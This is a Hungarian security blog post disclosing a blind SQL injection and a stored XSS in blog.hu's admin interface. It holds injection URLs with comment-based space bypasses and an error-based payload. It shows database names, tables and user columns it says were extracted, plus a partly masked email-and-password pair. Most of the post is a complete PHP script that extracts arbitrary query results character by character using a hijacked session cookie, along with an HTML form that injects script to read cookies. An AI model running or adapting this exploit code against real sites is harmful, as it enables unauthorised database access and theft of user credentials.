blog.hu Blind SQL Injection

szeptember 28th, 2011 | 0 Comments | Hall of shame, PoC

UPDATE:
Mivel valóban lekapcsolták a régi admin felületet ezért “publikálnám” ez a bejegyzést is, elég régi darab (2011 Szeptember) de működött.
Így utólag csak annyi megjegyzésem van hogy egy bináris keresés némileg gyorsabb lett volna, és azóta már azt használok. Van egy újabb Blind SQLi project a bbqsql ami némileg gyorsabb hiszen akár 100 – 200 “szálon” is futhatnak a lekérdezések de végül is “old dog new triks”.


Blog.hu Blind SQL Injection:

Találam a blog.hu-n egy “elrejtett” Blind Sql injection-t, azért mondom, hogy elrejtett mert a paramétert amúgy nem lehet elérni, legalábbis én nem láttam.

Ha valaki be van jelentkezve a blogba, akkor, ki tudja listázni a blogposztjait

http://blog.hu/admin/blogs/edit/postlist?level=adminarea&posts=10&page=1

A posts GET paraméterben adjuk meg a limitet a page ben meg az offset-et amit furának tünt, az az, hogy nem lehet rendezni, order így kipróbáltam egy pár paramétert és az orderby valamint az order működött is, hogy miért azt nem tudom gondolom van egy if vagy valami okosság.

Annyi még hozzá tartozik a dologhoz, hogy nem lehet szóközt (‘ ‘,’%20′,’+’)  használni, de a jó öreg /**/ működik.

Egy orderby alapú BlindSQLi-t kapunk így.

TRUE:

http://blog.hu/admin/blogs/edit/postlist?level=adminarea&posts=5&orderby=id,(IF(1=1,1,(SeLeCT(1)/**/FRoM/**/information_schema.tables/**/)))

 

FALSE:

http://blog.hu/admin/blogs/edit/postlist?level=adminarea&posts=5&orderby=id,(IF(2=1,1,(SeLeCT(1)/**/FRoM/**/information_schema.tables/**/)))

 

Mivel piszok lassú a SQL szerver ezért érdemes kicserélni a false ágat erre:

(select/**/1/**/and/**/row(1,1)>(select/**/count(*),concat(version(),0x3a,floor(rand()*2))x/**/from/**/(select/**/1/**/union/**/select/**/2)a/**/group/**/by/**/x/**/limit/**/1))

Lehet csinálni fordítva is, vagyis hogy amikor TRUE akkor adjon hibát, hiszen a legtöbb találgatás FALSE lesz de valahogy jobban szeretem én így :)

DATA:

version() : 5.0.81?0.?ot?eb.0?log
user() : bloghu@blfr5.in*
datbase() : bloghu

DBS :2
bloghu
genie

TABLES in [BLOGHU] : ?
atallitott_blogok
blh_activity
blh_ads
blh_adst...
blh_antispam
blh
....
blh_indavip
....
blh_users
blh_users_backup
blh_users
....

COLUMNS in [bloghu.blh_users]
dateymdhour
metauser_id
user_activation_key
user_autosave_interval
user_avatar_url
user_blog_limit
user_connectioncode
user_default_avatar
user_email
user_firstname
user_grp_id
user_id
user_idmode
user_lastname
user_indapass_id
user_locale...

HIGH:
blog.hu@gmail.com : zXXXXnder [***Kivenni***]

 

PoC code:

<?php
error_reporting(E_ALL ^ E_NOTICE);
$session = "PHPSESSIDv2=XXXXXXXXX;";
$true = "xAAAAA"; // Egy post neve
$false = "ra! Ha nem megy, pr";
$sql_error = '(select/**/1/**/and/**/row(1,1)>(select/**/count(*),concat(version(),0x3a,floor(rand()*2))x/**/from/**/(select/**/1/**/union/**/select/**/2)a/**/group/**/by/**/x/**/limit/**/1))';

//Paramerek CLI bol
$param = getopt('s:l:c:');

$sql = str_replace(' ','/**/',$param['s']);
$limit = $param['l'];
$charset = $param['c'];


$char[0] = '0123456789 _@.abcdefghijklmnopqrstuvwxyz';
$char[1] = '0123456789';
$char[2] = 'abcd efghijkl01_23@456789mnopq.rstuvwxyz';
$char[3] = 'abcdefghijklmnopqrstuvwxyz @.';
$char[5] = '0123456789abcdefg'; // MD5
$char[99] = '0123456789.!#$%^&*()_blh_usermtacfgijk@nopqvwxyz!#$%^&*()_';


//Charset
if (!isset($charset)){
 $chr = $char[3];
} else {
 $chr = $char[$charset];
}



        if (!isset($limit)){
          //Ha nincsen limit akkor megnézzük a sql valasz hosszat 40ig
            for ($i=0;$i<40;$i++){;
               echo "$i - ";
               $sqli = "length(($sql))=$i";
               $url = "/admin/blogs/edit/postlist?level=adminarea&posts=5&orderby=id,(IF(($sqli),1,$sql_error))&order=+asC+&page=1";
               //DEV echo $url."\n";
               //Behivjuk az oldalt
               $html =  http_get($url);
               //DEV echo $html;
               //Ha talal akkor leallunk.
               if (talal($html)){
                    die("\n\nLength : $i\n\n");
                }                  
            }  //For loop          
            echo "\nNem tudom a hosszát vagy nagyobb mint 40\n";


        } else {
          //Ha mar van hosszunk akkor olvasunk
           echo "\nChars : $chr  | Limit :$limit\n\n$sql\n\n";    
                for ($i=1;$i<$limit+1;$i++) {
                        for ($p=0;$p<=strlen($chr);$p++){
                           $c = ord($chr[$p]);    
                           $sqli = "ascii(substring(lower(($sql)),$i,1))=".ord($chr[$p]);
                           $url = "/admin/blogs/edit/postlist?level=adminarea&posts=5&orderby=id,(IF(($sqli),1,(SeLeCT(1)/**/FRoM/**/information_schema.SCHEMATA/**/)))&order=+asC+&page=1";      
                           //DEV echo $url . "\n";    
                           //DEV $html =  http_get($url);    
                               
                           if (talal(http_get($url))) {
                                echo $chr[$p];
                                break;
                           }
                           if ($p == strlen($chr)){
                                echo '?';
                           }        
                        }
                }
                echo "\n";                
               
        }
               







function talal($html){
     global $true;
      return ( stripos($html,$true) > 1 ? true : false);  
}

//HTTP get Socket-el -curl
function http_get($url){
global $session;
//$url = urlencode($url);
$response = '';
$fp = fsockopen("blog.hu", 80, $errno, $errstr, 30);
if (!$fp) {
    return "$errstr ($errno)<br />\n";
} else {
    $out = "GET $url HTTP/1.1\r\n";
    $out .= "Host: blog.hu\r\n";
    $out .= "Accept: text/javascript, text/html, application/xml, text/xml, */*\r\n";
    $out .= "User-Agent: Contact email ******\r\n";    
    $out .= "Cookie: $session \r\n";    
    $out .= "Connection: Close\r\n\r\n";    
    fwrite($fp, $out);
    while (!feof($fp)) {
        $response .= fgets($fp, 128);
    }
    fclose($fp);
    return $response;    
}
}//Function



?>

 

Lépjünk be egy blog.hu admin felületbe, majd hívjuk meg http://blog.hu/admin/blogs/edit/postlist?level=adminarea&posts=10&page=1 ezt az oldalt, keressünk ki egy egyedi sztringet a forráskódból, lehetőleg ékezet nélkülit, majd másoljuk ki a PHPSESSIDv2 értéket, végezzük el a szükséges módosításokat és készen is vagyunk.

Használat:

php script.php -s “sql parancs” -c [CHARSET] -l [LIMIT]

ha nem adunk meg limitet először csak a hosszal tér vissza pl:

php script.php -s “select user()”

0 – 1 – 2 – 3 – 4 – 5 – 6 – 7 – 8 – 9 – 10 – 11 – 12 – 13 – 14 – 15 – 16 –

Length : 16

Utána megadhatjuk a hoszt és a választott char tipust, pl:

php script.php -s “select user()”  -c 2 -l 16

Chars : abcd efghijkl01_23@456789mnopq.rstuvwxyz  | Limit :16

select/**/user()

bloghu@blfr5.inx

 

Lehet használni ‘ -t is, későn vettem csak észre, ja és még lehet optimalizálni a kódón, aki akar.

 

 
UPDATE : Permanent XSS az admin felületen, lehetne DOM injectiont is csinálni csak nicsen türelmem most.
Link : http://0xff.org/res/dhtml/blog.hu/xss.blog.hu.html

<html>
<h1>Blog.hu Permanens XSS</h1>
<hr>
<p>Csak a belepett adminoknak mukodik, de az eleg is :D</p>
<form action="http://blog.hu/admin/blogs/presentation/mobile" method="post">
action:<input type="textbox"  name="action" value="mobile_custom_color"><br />

custom_color:<input type="textbox"  name="custom_color" value="on"><br />
custom_color_code:<input type="textbox"  name="custom_color_code" value="BAE3E2'); alert(document.cookie+' ~0xFF~ "><br />
<input type="submit" value="XSS ">
</form>
</html>

 

Leave a Comment